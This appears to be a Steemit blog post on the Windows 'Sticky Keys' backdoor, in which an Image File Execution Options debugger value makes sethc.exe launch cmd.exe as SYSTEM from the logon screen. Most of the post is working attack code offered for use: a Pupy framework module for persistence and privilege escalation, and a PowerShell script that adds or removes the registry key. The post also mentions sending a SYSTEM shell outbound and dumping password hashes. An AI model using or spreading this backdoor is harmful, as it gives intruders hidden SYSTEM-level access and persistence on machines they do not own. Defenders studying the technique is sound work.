Revenge of the Sticky Keys - An Exercise In Privilege Escalation and Persistence
A while back I was messing with the Pupy framework and decided to write a fun module for persistence/privilege escalation. The technique presented in this entry is nothing new, in fact there are far more effective and stealthy methods to use nowadays.. But, it's always fun to mess with frameworks and the Capitals game doesn't start for another thirty (30) minutes.
As a quick side note, a sample powershell script has been included at the end of this entry. The script is extremely simple and adds/removes the registry key.1
Synopsis
This Pupy module enables a user to escalate privileges to 'SYSTEM' and serves as a method of persistence.
Requirements
Admin privileges
Here is what I came up with
For those of you that don’t know… Windows has this little gem of joy used for accessibility reasons called 'Sticky Keys'. If you’ve ever hit the shift key five times on accident, you’ve likely seen this screen before.The handy feature of 'Sticky Keys' to attackers is that it's accessible during the Windows logon process. As a result, invoking sethc.exe aka "Sticky Keys" during the logon process results a in process running with SYSTEM privileges.The savage way of exploiting this is to:
Replace c:\windows\system32\sethc.exe with
cmd.exe (the command prompt binary)
The problem is… You can’t do this directly without shutting down the machine, using a boot disk, and working around the OS to backdoor it. Ironic.However, as with anything in life, there are several methods to achieving the same end goal. As luck would have it, Windows has a registry key in all versions of windows called “Image File Execution Options.” This particular key enables developers to use debuggers against executables.Why do we care?
This key enables us to execute arbitrary commands when sethc.exe is triggered - without rebooting the machine and without modifying the sethc.exe binary. Using this method, we can successfully escalate privileges and spawn shells as SYSTEM whenever we would like via RDP or physical workstation access.First, we create a new registry key.
createNewKey = CreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe")
Next, we open the key and add a debugger string
registryKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File
Execution Options\sethc.exe", 0, KEY_WRITE)
try:
SetValueEx(registryKey, "Debugger", 0, REG_SZ, "C:\Windows\System32\cmd.exe")
finally:
CloseKey(registryKey)
return True
Very cool, the stage is now set. Let's hit shift 5 times and !!!!
Sad panda. We are greeted with a command prompt but no escalation of privileges has occurred. Let's hop out to the Windows login screen and try one more time.
Voila, we are now greeted with a SYSTEM shell.
Now, just for giggles let's throw together a Pupy powershell one liner, send a SYSTEM shell outbound, and dump some hashes:
Creating the module
Let's take this process and automate it with a Pupy module.
stickykeys.py
# -*- coding: utf-8 -*-
# Module Author: ptonewreckin
from pupylib.PupyModule import *
from pupylib.PupyCompleter import *
__class_name__="StickyKeysModule"
@config(cat="persistence", compat=["windows"], tags=["persistence","system","escalation","privilege","sticky","backdoor"])
class StickyKeysModule(PupyModule):
""" Enables persistence via registry keys using the sticky keys backdoor method\n Spawns a SYSTEM shell"""
dependencies = ["pupwinutils.stickykeys"]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="stickykeys", description=self.__doc__)
self.arg_parser.add_argument('-r','--registrylocation', help='Use an alternative registry location', completer=path_completer)
def run(self, args):
if self.client.is_windows():
self.windows(args)
def windows(self, args):
self.client.load_package("pupwinutils.stickykeys")
self.info("Attempting to update registry and add debugger ...")
if self.client.conn.modules['pupwinutils.stickykeys'].AddRegistryKey("hi","yes","nono"):
self.info("Registry key successfully added")
self.success("Hit shift 5 times... :)")
self.info("Now attempting to lock screen")
if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation():
self.success("Screen successfully locked")
else:
self.error("Unable to lock the screen")
else:
self.error("Failed to implement sticky keys backdoor :(")
pupwinutils/stickykeys.py
# -*- coding: UTF8 -*-
# Module Author: ptonewreckin
from _winreg import *
def AddRegistryKey(registrylocation,keyname,keydata):
print keyname
print registrylocation
print keydata
#randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
try:
try:
# Attempt to create new sethc.exe key
# Another method
# \system32\utilman.exe
createNewKey = CreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe")
except Exception:
# If backdoor has been executed before then step one is unnecessary
# Would be better to code a check condition by querying registry prior to execution
pass
registryKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, KEY_WRITE)
try:
SetValueEx(registryKey, "Debugger", 0, REG_SZ, "C:\Windows\System32\cmd.exe")
finally:
CloseKey(registryKey)
return True
except Exception:
return False
Equivalent in PowerShell1stickeykeys.ps1
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
$keyName = "sethc.exe"
$stringName = "Debugger"
$binaryValue = "C:\Windows\System32\cmd.exe"
IF (Test-Path ($registryPath + $keyName))
{
# Sticky Keys backdoor exists.
write-host "Registry key found. Let's remove it."
#New-Item -Path $registryPath -Name $keyName | Out-Null
Remove-Item -Path ($registryPath + $keyName) | Out-Null
write-host "Sticky Key backdoor has been removed."
}
ELSE {
# Sticky Keys backdoor does not exist, let's add it.
write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."
New-Item -Path $registryPath -Name $keyName | Out-Null
New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null
write-host "Sticky Keys backdoor added."
}
Registry before modification
Adding backdoor
Removing backdoor
References:
I cannot for the life of me recall where I found an article describing the use of debuggers to reference Windows binaries but if it was you please contact me and I'll add credit where due.
Congratulations @ptonewreckin! You have completed the following achievement on Steemit and have been rewarded with new badge(s) :
Award for the number of upvotes received
Click on the badge to view your Board of Honor.
If you no longer want to receive notifications, reply to this comment with the word
STOP
Congratulations @ptonewreckin! You received a personal award!
You can view your badges on your Steem Board and compare to others on the Steem Ranking
Vote for @Steemitboard as a witness to get one more award and increased upvotes!